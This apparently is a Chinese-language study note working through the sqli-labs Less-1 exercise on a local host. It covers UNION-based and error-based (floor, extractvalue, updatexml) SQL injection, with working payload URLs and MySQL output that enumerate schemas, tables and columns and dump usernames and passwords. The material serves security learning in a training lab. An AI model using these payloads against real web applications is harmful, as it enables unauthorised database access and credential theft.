SQL注入——union查询注入_报错注入 笔记

SQL注入——union查询注入_报错注入

学习环境
Centos7
sqli-labs

union查询注入

1.UNION
UNION操作符用于合并两个或多个SELECT语句的结果集

PS:UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELELCT 语句中列的顺序必须相同

默认情况,UNION操作符选取不同的值。如果允许重复的值,请使用 UNION ALL

2.UNION注入应用场景
a,只要UNION连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果;
b,注入点页面有回显;
ps:
只有最后一个SELECT子句允许有order by;
只有最后一个SELECT子句允许有limit;(视频这么说,但是我实验了一下又好像可以在limit后面使用union select,可能是版本不同)
即在 order by 后面不能跟 select 语句;

mysql> select * from users order by id union select 1,2,3;
ERROR 1221 (HY000): Incorrect usage of UNION and ORDER BY

3.union 注入过程

1.order by 确定列数
2.观察页面返回,选取可以回显数据的位置,进行下一步操作
3-6
读库信息,表信息,字段,数据(这个阶段可以执行任意语句)

4. order by

order by 可以对相应列进行相应的数据排序。
我们可以利用order by 来观察数据库有多少列数据(当超出表的列数时会报错)
我们使用 security 库进行实验

mysql> select * from users order by 1;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.01 sec)
mysql> select * from users order by 2;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 14 | admin4   | admin4     |
|  2 | Angelina | I-kill-you |
|  7 | batman   | mob!le     |
| 12 | dhakkan  | dumbo      |
|  1 | Dumb     | Dumb       |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
+----+----------+------------+
13 rows in set (0.00 sec)
mysql> select * from users order by 3;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 14 | admin4   | admin4     |
|  4 | secure   | crappy     |
|  1 | Dumb     | Dumb       |
| 12 | dhakkan  | dumbo      |
|  6 | superman | genious    |
|  2 | Angelina | I-kill-you |
|  7 | batman   | mob!le     |
|  3 | Dummy    | p@ssword   |
|  5 | stupid   | stupidity  |
+----+----------+------------+
13 rows in set (0.00 sec)

mysql> select * from users order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'

可以看到 order by X 时,就会对第X列进行排序,而表中没有这一列则会进行报错,我们就可以利用这特性来判断有多少列,因为使用union查询时要确保相同的列数。

接下来,进到sqli-libs第一关进行实验
order by 1
SQL注入——union查询注入_报错注入 笔记_第1张图片
order by 3
SQL注入——union查询注入_报错注入 笔记_第2张图片
order by 4
SQL注入——union查询注入_报错注入 笔记_第3张图片
这样我们就可以确定当前的表是有三列的。

然后我们开始构建语句测试他可以回显的位置
SQL注入——union查询注入_报错注入 笔记_第4张图片
通过这个我们发现他第二第三个位置是可以回显信息的。(因为我们把写入了一个无效,不存在的id,所以回显的信息应该是1.2.3.,但是只出现了2.3;说明1位置的信息是不回显的。)

select语句中是可以嵌套select 语句的,比如下面这句

mysql> select * from users where id= -1 union select 1,(select version()),3; 
+----+-------------------------+----------+
| id | username                | password |
+----+-------------------------+----------+
|  1 | 5.5.47-0ubuntu0.14.04.1 | 3        |
+----+-------------------------+----------+
1 row in set (0.00 sec)

通过这种方式我们就可以快速的进行sql注入

读库信息:(选择一个可以回显数据信息的位置进行注入)

SQL注入——union查询注入_报错注入 笔记_第5张图片
读出了当前库的信息为security;
如果需要读所有库的信息,我们需要使用mysql内置的 information 语句进行查询

http://127.0.0.1/Less-1/?id=' union select 1,(select schema_name from information_schema.schemata ),3--+

SQL注入——union查询注入_报错注入 笔记_第6张图片
显示超过一条信息,这时我们可以使用limit或group_concat

http://127.0.0.1/Less-1/?id=' union select 1,(select schema_name from information_schema.schemata limit 1,1 ),3--+

在这里插入图片描述

http://127.0.0.1/Less-1/?id=' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+

SQL注入——union查询注入_报错注入 笔记_第7张图片

读表信息

http://127.0.0.1/Less-1/?id= 'union select 1,(select table_name from information_schema.tables where table_schema= 'security'),3--+

SQL注入——union查询注入_报错注入 笔记_第8张图片
还是数据太多
依旧使用limit和group_concat

http://127.0.0.1/Less-1/?id= 'union select 1,(select table_name from information_schema.tables where table_schema= 'security'limit 1,1),3--+

在这里插入图片描述

http://127.0.0.1/Less-1/?id= 'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+

SQL注入——union查询注入_报错注入 笔记_第9张图片
如果当前情况对引号 ’ 有限制 我们也可以直接转换为十六进制来进行注入

http://127.0.0.1/Less-1/?id= 'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 0x7365637572697479),3--+

在这里插入图片描述

读字段

http://127.0.0.1/Less-1/?id= 'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

在这里插入图片描述
读数据

127.0.0.1/Less-1/?id= 'union select 1,2,username from users--+

SQL注入——union查询注入_报错注入 笔记_第10张图片
我们也可以使用concar_ws和limit搭配逐个查看数据内容

127.0.0.1/Less-1/?id= 'union select 1,2,concat_ws('~',username,password) from users limit 1,1--+

SQL注入——union查询注入_报错注入 笔记_第11张图片

SQL注入——union查询注入_报错注入 笔记_第12张图片

报错注入

报错注入原理
构造payload让信息通过错误提示回显出来

应用场景
查询不回显内容,会打印错误信息
Updat,insert等语句,会打印错误信息

凡是可以让错误信息显示的函数(语句),都能实现报错注入,下面列举3种。

floor() select count(*)from information_schema.tables group by concat((select version()),floor(rand(0)*2)); group by 对 rand()函数进行操作时产生错误
extractvalue() extractvalue(1,concat(0x7e,(select user()),0x7e)); XPATH语法错误产生报错
updatexml() select updatexml(1,concat(0x7e,(select user()),0x7e),1) ; XPATH语法错误产生报错

floor()报错注入方法

select count(*)from information_schema.tables group by concat((select version()),floor(rand(0)*2));

concat:连接字符串的功能
floor:取float的整数值
rand:取0~1之间的随机浮点数
group by: 根据一个或多个列对结果集进行分组并有排序功能

我们在数据库中尝试,可以看到他返回的信息中有我们想要的数据库版本信息。

mysql> select count(*)from information_schema.tables group by concat((select version()),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.5.47-0ubuntu0.14.04.11' for key 'group_key'

我们再在sqli-labs第一关中试试。

127.0.0.1/Less-1/?id=1' and  (select count(*)from information_schema.tables group by concat((select version()),floor(rand(0)*2)))--+

SQL注入——union查询注入_报错注入 笔记_第13张图片
可以看到,报出了我们的数据库版本号,最后多了个1,是rand(0)*2会随机生成0或者1导致的
我们也可以用~号把他们隔开
SQL注入——union查询注入_报错注入 笔记_第14张图片

然后查询表,数据的操作都可以在这个基础上依次进行。

**

extractvalue()报错注入方法

**

mysql> select extractvalue(1,concat(0x7e,(select user()),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

select extractvalue(1,concat(0x7e,(select user()),0x7e));

extractvalue():接收2个参数,第一个xml文档,第二个xpath语句。
主要是第二部分XPATH语句报错产生报错,从而进行报错注入

比如下面这句

mysql> select extractvalue(1,(select user()));
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

报错返回了用户名@localhost,但其实正确的用户名应该是 root@localhost,但是他认为root是合法的XPATH格式的值,就没有返回root,这时候我们就需要用到 concat ,第一位一定要构造一个非法XPath格式的值。

这样我们就可以返回正确完整的值了

mysql> select extractvalue(1,concat('!',(select user())));
ERROR 1105 (HY000): XPATH syntax error: '!root@localhost'

updatexml()报错注入方法

和extractvalue()原理一样,不过多了一个参数。

mysql> select updatexml(1,concat(0x7e,(select user()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

在这里插入图片描述

updatexml():接收3个参数,第一个xml文档,第二个xpath语句,第三个字符串

都是利用xpath语句报错。

SQL注入——union查询注入_报错注入 笔记_第15张图片

Tips

报错返回的数据最大长度只有32位,数据过长则无法全部显示,这时候我们就需要substr对数据进行截取。

127.0.0.1/Less-1/?id=1' and  updatexml(1,concat(0x7e,substr((select user()),1,2),0x7e),1)--+

SQL注入——union查询注入_报错注入 笔记_第16张图片

SQL注入——union查询注入_报错注入 笔记_第17张图片

你可能感兴趣的:(笔记)